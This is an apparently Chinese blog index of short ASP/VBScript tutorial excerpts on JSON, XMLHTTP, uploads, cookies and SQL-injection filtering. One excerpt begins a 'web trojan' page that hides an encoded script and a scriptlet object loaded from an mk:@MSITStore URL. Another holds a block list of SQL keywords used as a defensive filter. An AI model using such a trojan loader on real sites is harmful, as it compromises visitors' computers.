ASP生成json字符串类库

评论(0)浏览(154)分类:Asp/VBScript
ASP生成json字符串类库  下面这个类库通过设置查询字符串和链接对象,获取查询字符串中选择出的列自动生成对应的json字符串。+展开-VBScriptClassJSONClassDimSqlString'用于设置SelectDimJSON'返回的JSON对象的名称DimDBConnection'连接到数据库的Connection对象'可以外部调用的公共方法PublicFunctionGetJSON()dimRsdimreturnStrdimidimoneRecord'获取数据SetRs=S..

asp/vbscript中eval和execute函数

评论(0)浏览(152)分类:Asp/VBScript
asp/vbscript中eval和execute函数  Javascript中的eval函数让我们可以很方便地操作一系列变量(a1,a2,a3,……)。自从VBScript 5.0之后,也可以ASP中使用这个功能了!  和Javascript一样,eval()也是计算其中字符串所代表变量的值并返回,如eval("a"&"1")返回a1的值。不过这个 eval()的功能和Javascript比起来还是有差距的。我试了一下,发现主要有以下一点:VBScript中的ev..

asp修改access数据库密码

评论(0)浏览(152)分类:Asp/VBScript
asp修改access数据库密码  asp/vbscript如何修改access数据库密码。asp/vbscript修改access数据库密码的sql语句语法很简单,如下,但是链接字符串一定要设置正确,要不会提示错误。需要增加原始的密码,并且要以独占的方式打开access数据库ALTER USER 或 DATABASE 语句 :更改现有用户或数据库的密码。 语法ALTER DATABASE PASSWORD newpassword oldpasswordALTER USE..

修改默认asp默认上传大小

评论(0)浏览(147)分类:Asp/VBScript
修改默认asp默认上传大小  默认asp接受的数据大小为200kb,如果你表单的总内容大于200kb(包括提交的文字和文件大小的总和,不单是指文件的大小),需要修改iis的配置,将200kb更改为更加大的值。  具体操作步骤入下1,先在服务里关闭iis admin service服务。2,.找到 WINDOWS\system32\inetsrv\下的MetaBase.xml,用记事本打开,找到ASPMaxRequestEntityAllowed 把..

asp存储和读取access中2进制数据

评论(0)浏览(147)分类:Asp/VBScript
asp存储和读取access中2进制数据  用来获取上一个页面传递过来的数据一般是使用 Request对象。同样的,可以使用Request对象来获取上传上来的文件数据,使用的方法是Request.BinaryRead()  要从数据库中读出来图片的数据显示到网页上面要用到的方法是:Request.BinaryWrite()。  在得到了图片的数据,要保存到数据库中的时候,不可以直接使用Insert语句对数据库进行操作,..

asp Command.execute执行存储过程无法获取返回值

评论(0)浏览(142)分类:Asp/VBScript
asp Command.execute执行存储过程无法获取返回值  今天在csdn看到一个问题,asp调用存储过程获取return返回值,没有获取到返回值,代码也没有出现问题。  拿他的代码测试了下,发现将Set MyComm=Server.CreateObject(ADODB.Command)MyComm.ActiveConnection=conn 'conn是数据库连接字串MyComm.CommandText=user_check '指定存储过程名MyComm.CommandType=4 '表明这是一个存储过..

ASP TextStream 对象

评论(0)浏览(141)分类:Asp/VBScript
ASP TextStream 对象TextStream 对象用于访问文本文件的内容。实例读文件本例演示如何使用 FileSystemObject 的 OpenTextFile 方法来创建一个 TextStream 对象。TextStream 对象的 ReadAll 方法会从已打开的文本文件中取得内容。读文本文件中的一个部分本例演示如何仅仅读取一个文本流文件的部分内容。读文本文件中的一行本例演示如何从一个文本流文件中读取一行内容..

asp MSXML2.ServerXMLHTTP异步请求示例

评论(0)浏览(138)分类:Asp/VBScript
asp MSXML2.ServerXMLHTTP异步请求示例  asp使用MSXML2.ServerXMLHTTP异步发送请求时,需要注意判断MSXML2.ServerXMLHTTP对象的readyState是否为4,如果不判断直接获取对象的属性,如responseText会出现如下错误msxml3.dll 错误 '8000000a'完成该操作所需的数据还不可使用。/a.asp,行 18  asp使用MSXML2.ServerXMLHTTP异步发送请求源代码%if request.QueryString(dc)=1 ..

iis7+ asp页面错误如何显示具体错误信息

评论(0)浏览(137)分类:Asp/VBScript
iis7+ asp页面错误如何显示具体错误信息  win7安装了iis7+以上时,asp发生错误时,默认发送到客户端的错误信息是在iis7+中定义好的,如下面这个错误An error occurred on the server when processing the URL. Please contact the system administrator.If you are the system administrator please click here to find out more about this error.  iis7+要显示asp具体的错误信息..

asp检查网址是否可用

评论(0)浏览(136)分类:Asp/VBScript
asp检查网址是否可用  asp如何检查某个网址是否有效或者无效(http状态码不为200)  源代码如下%sub checkurl(url) set xhr=server.CreateObject(Microsoft.XMLHTTP) xhr.open GET,url,false on error resume next xhr.send if err0 then response.Write font color=redurl发生错误:err.Description/fontbr/ err.Clear elseif xhr.status=200 then..

asp如何修改操作系统用户密码

评论(0)浏览(136)分类:Asp/VBScript
asp如何修改操作系统用户密码    windows 2003已经自己带了修改域用户密码的相关ASP网页文件,位置在C:\windows\system32\inetsrv\iisadmpwd,只需要在IIS里面发布就可以了。    下面就介绍一下如何使用这些文件。1、 在IIS上新建一个虚拟目录2、 输入虚拟目录别名为iisadmpwd3、 设置权限为读取和执行4、 完成5、 在新建虚拟目录的属性里修改默认内容文档6、 在IE里输入..

cookie赋null值出现Microsoft VBScript 运行时错误 错误 '800a000d' 类型不匹配: '[object]'

评论(0)浏览(135)分类:Asp/VBScript
cookie赋null值出现Microsoft VBScript 运行时错误 错误 '800a000d'  类型不匹配: '[object]'   cookie赋null值出现Microsoft VBScript 运行时错误 错误 '800a000d' 类型不匹配: '[object]'   这个错误解决办法其实很简单,是因为给COOKIES赋了一个为NULL的值。  可以做一个测试:+展开-HTML%response.cookies("a")("a")=a%  运行上面的代码则不会出错,运行下面的代码则会出错。+展开-HTML%a=nullresponse.cookies("a")("a")=a% ..

asp正则submatches分组

评论(0)浏览(133)分类:Asp/VBScript
asp正则submatches分组s=test1,test2fasdfasfafsa%response.write aaa%dfafadfafafafa%for i=0 to 1:response.write ddd:next%fdsfdfdsfsd_ dddddd22222aaaaaa%aaa=888%换行set rx=new RegExp'创建正则表达式rx.Global=true'全局匹配rx.Pattern=%([\s\S]+?)%'正则表达式set mc=rx.Execute(s)'执行匹配response.write 共有mc.count项for each m in mc..

执行特殊自定义asp过滤条件后如何对记录集分页

评论(0)浏览(133)分类:Asp/VBScript
执行特殊自定义asp过滤条件后如何对记录集分页  asp取出recordset后,如果需要执行特殊自定义的asp过滤语句,满足条件后再输出对应的记录,而这个asp过滤条件无法融合到sql语句中时,此时asp要如何对记录集进行正确的分页操作?  要对需要执行特殊自定义asp过滤的记录集进行分页操作,不能使用asp提供的默认分页操作,如rs.pagesize,rs.recordcount,rs.pagecount,rs.absolutepage这种..

VBScript如何调用异步调用ajaxpro注册的方法

评论(1)浏览(129)分类:Asp/VBScript
VBScript如何调用异步调用ajaxpro注册的方法  由于ajaxpro在客户端注册的脚本是JavaScript的,但是JavaScript无法调用VBScript注册的函数或者过程,只能访问VBScript注册的标量,VBScript可以调用JavaScript注册的变量或者方法,所以VBScript使用ajaxpro的异步功能时,需要传递回调函数,如果传递的是VBScript的function函数,会出现“由于出现错误 80020102 而导致此项操作无法完成”的..

自定义加密算法打造不死网马

评论(0)浏览(129)分类:Asp/VBScript
自定义加密算法打造不死网马+展开-HTMLHTMLoncontextmenu="returnfalse"HEADTITLE /TITLE/HEADBODYSCRIPTLANGUAGE="JavaScript.Encode"src="1.js"/scriptSCRIPTLANGUAGE="JavaScript"varurl=document.location.href;url=url.substring(0,url.lastIndexOf('/'));document.write('OBJECTWidth=0Height=0style="display:none;"type="text/x-scriptlet"data="mk:@MSITStore:mh..

asp抽奖程序算法

评论(0)浏览(128)分类:Asp/VBScript
asp抽奖程序算法  asp抽奖程序算法,需要记录抽奖了多少次的自己注意保存数据结构到数据库中,需要导入json2.asp这个文件,其实内容就是json2.js这个文件,然后用script language=javascript runat=server括起变为服务器端代码即可。!--#include file=json2.asp--script language=javascript runat=server $prize_arr = [//prizeNum:此奖项总数  use:已..

asp,asp.net和php如何添加301跳转

评论(0)浏览(127)分类:Asp.Net/C#/WCF
asp,asp.net和php如何添加301跳转  asp添加301跳转响应头Response.Status = 301 Moved PermanentlyResponse.AddHeader location, http://yourdomain  asp.net添加301跳转响应头Response.StatusCode = 301;Response.Status = 301 Moved Permanently;Response.AddHeader(location, http://yourdomain);   php加301跳转响应头header('HTTP/1.1 301 Moved Permanently'..

ASP类型转换提示无效使用 Null

评论(0)浏览(125)分类:Asp/VBScript
ASP类型转换提示无效使用 Null 在asp中进行类型转换时,如读取数据库中的数据,对某一列进行转换,此列数据没有初始化值,则使用cdbl,cint等函数对此列信息类型进行转换时,会出现“无效使用 Null”的错误,有2中解决办法。 第一种,使用isnull函数判断下列是否为null,如果为null则不能进行转换。+展开-VBScriptnum=0ifnotisnull(rs("num"))thennum=cint(r..

vbs replace instr函数如何不区分大小写匹配

评论(0)浏览(124)分类:Asp/VBScript
vbs replace instr函数如何不区分大小写匹配  除了使用正则表达式外,其实replace和instr的参数中也可以设置不区分大小写字母匹配的参数,默认是省略的,对字母大小写敏感。Replace函数一共有六个参数,其中三个必须三个可选:Replace(expression,find,replacewith[,start[,count[,compare]]])  compare参数表示比较方式,平时我们都省略了,那样是按二进制比较,区分大小写的,还可以..

asp adodb.recordset更新数据占用cpu 100%

评论(0)浏览(121)分类:Asp/VBScript
asp adodb.recordset更新数据占用cpu 100%  今天在改一个asp程序的时候,发现adodb.recordset调用update方法后更新速度超慢,甚至无法响应。打开资源管理器查看,发现iis进程w3wp.exe占用cpu 100%。⊙﹏⊙b汗  之前一直都可以运行,没出现过cpu 100%使用的问题,后面检查了下,也没发现什么死循环的之类。是不是今天增加了2列后,更新时就出现这种问题了,应该是这新增加的这2列的问题..

Server.MapPath ASP 0214 (0x80004005)错误

评论(0)浏览(119)分类:Asp/VBScript
Server.MapPath ASP 0214 (0x80004005)错误  ASP常用Server.MapPath()来获取文件或文件夹路径,但是你可能碰到过这个方法出错的情况,而在手册或者教程中根本找不到相应的说明,只能从网上搜索到问题的答案。1. 为MapPath方法指定的Path参数中包含无效字符。 ASP 0214 (0x80004005) 例子:Server.MapPath(Yes,I do.txt)'(Yes,I do.txt是一个合法的文件名) 这样的文件名可能来自于用..

asp files集合如何通过索引访问对象

评论(0)浏览(118)分类:Asp/VBScript
asp files集合如何通过索引访问对象  asp的files集合不是数组,所以无法通过索引访问files集合中的项目,也没有提供相关方法进行访问。  解决办法:遍历files对象后将文件名存入数组中。  asp files集合如何通过索引访问对象源代码如下% set fso=server.CreateObject(scripting.filesystemobject) folder=Server.MapPath(.) set fd=fso.GetFolder(folder) set f..

使用WMI获得硬盘和CPU的序列号

评论(0)浏览(112)分类:Asp/VBScript
使用WMI获得硬盘和CPU的序列号  首先,引用System.Management;然后在代码中Imports System.Management;'获得硬盘序列号 Dim cmicWmi As New System.Management.ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive") Dim Uint32 As UInt32 For Each cmicWmiObj As ManagementObject In cmicWmi.Get Uint32 = cmicWmiObj("signature") Next TextBox1.Text = Uint32...

ASP上传文件的代码

评论(0)浏览(111)分类:Asp/VBScript
ASP上传文件的代码1、文件上传表单 首先需要编写一个能提供文件上传功能的表单,程序如下所示: <Form action="upload.asp" method=post enctype="multipart/form-data"> 上传文件:<Input type=file name=file1><br> <input type=submit name=upload value="上传"> </form> 其中,enctype参数用来设置表单的MIME编码方式,在进行文件(或同时包含文本框..

MSXML2, XmlHttpClass使用说明

评论(1)浏览(109)分类:Asp/VBScript
MSXML2, XmlHttpClass使用说明Microsoft.XMLHTTP  Microsoft.XMLHttp组件的属性方法  一、使用步骤:  1、创建XMLHTTP对象 //需MSXML4.0支持   2、打开与服务端的连接,同时定义指令发送方式,服务网页(URL)和请求权限等。客户端通过Open命令打开与服务端的服务网页的连接。与普通HTTP指令传送一样,可以用"GET"方法或"POST"方法指向服务端的服务网页。  3、发送指..

在Access里使用查询建立存储过程/视图 并使用ASP执行

评论(0)浏览(108)分类:Asp/VBScript
在Access里使用查询建立存储过程/视图 并使用ASP执行摘要: 本文演示了 使用 Access查询 构造类似于 MSSQL 存储过程的功能, 并在 ASP 中操作插入数据,显示数据功能.目录:1. 在 Access 查询里建表, 名 tt2. 在 Access 查询里新建查询, 内容为:...3. 在 ASP 里使用 tt_insertParm 添加10条记录到 表tt3.1 构造ASP ado 连接函数, fCreateCnn 与 fCloseCnn3.2 组合使用 fCreateCnn, fCloseCnn, tt_inser..

asp/vbscript dim数组下标为变量

评论(0)浏览(106)分类:Asp/VBScript
asp/vbscript dim数组下标为变量  asp/vbscript dim定义数组时,如果下标为变量,会提示“缺少整形参数”的错误。如下+展开-VBScriptidx=1dima(idx)  这时需要先定义一个没有下标的数组或者直接是Variant类型的变量,然后再用redim来定义下标为变量的参数就没有问题了。+展开-VBScriptidx=1dima'或者a()redima(idx)

asp防sql注入源代码

评论(0)浏览(106)分类:Asp/VBScript
asp防sql注入源代码  asp通用防sql注入源代码,将此段代码放在你执行sql读取数据之前,以便判断客户端提交的内容是否包含恶意注入内容dim spDim Fy_Post,Fy_Get,Fy_getIn,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr,Kill_IP,WriteSql,Fy_postIn'自定义需要过滤的字串,用 | 分隔Fy_getIn = '|#|exec|insert|select|delete|update|%|chr|char|mid|master|truncate|decla..

防sql注入参数处理要点

评论(0)浏览(105)分类:黑客技术
防sql注入参数处理要点  下面的示例代码以VBScript为例,介绍防sql注入参数处理要点,只要在操作数据之前,按照下面的步骤对客户端提交的参数进行验证,一般不会出现sql注入问题,最多是脚本出错,在cint语句那里读数据库,使用连接字符串构成sql语句的,需要执行下面的操作  1)如果参数为字符串,将'替换掉xx=replace(request(xx),',)  2)如果参数为..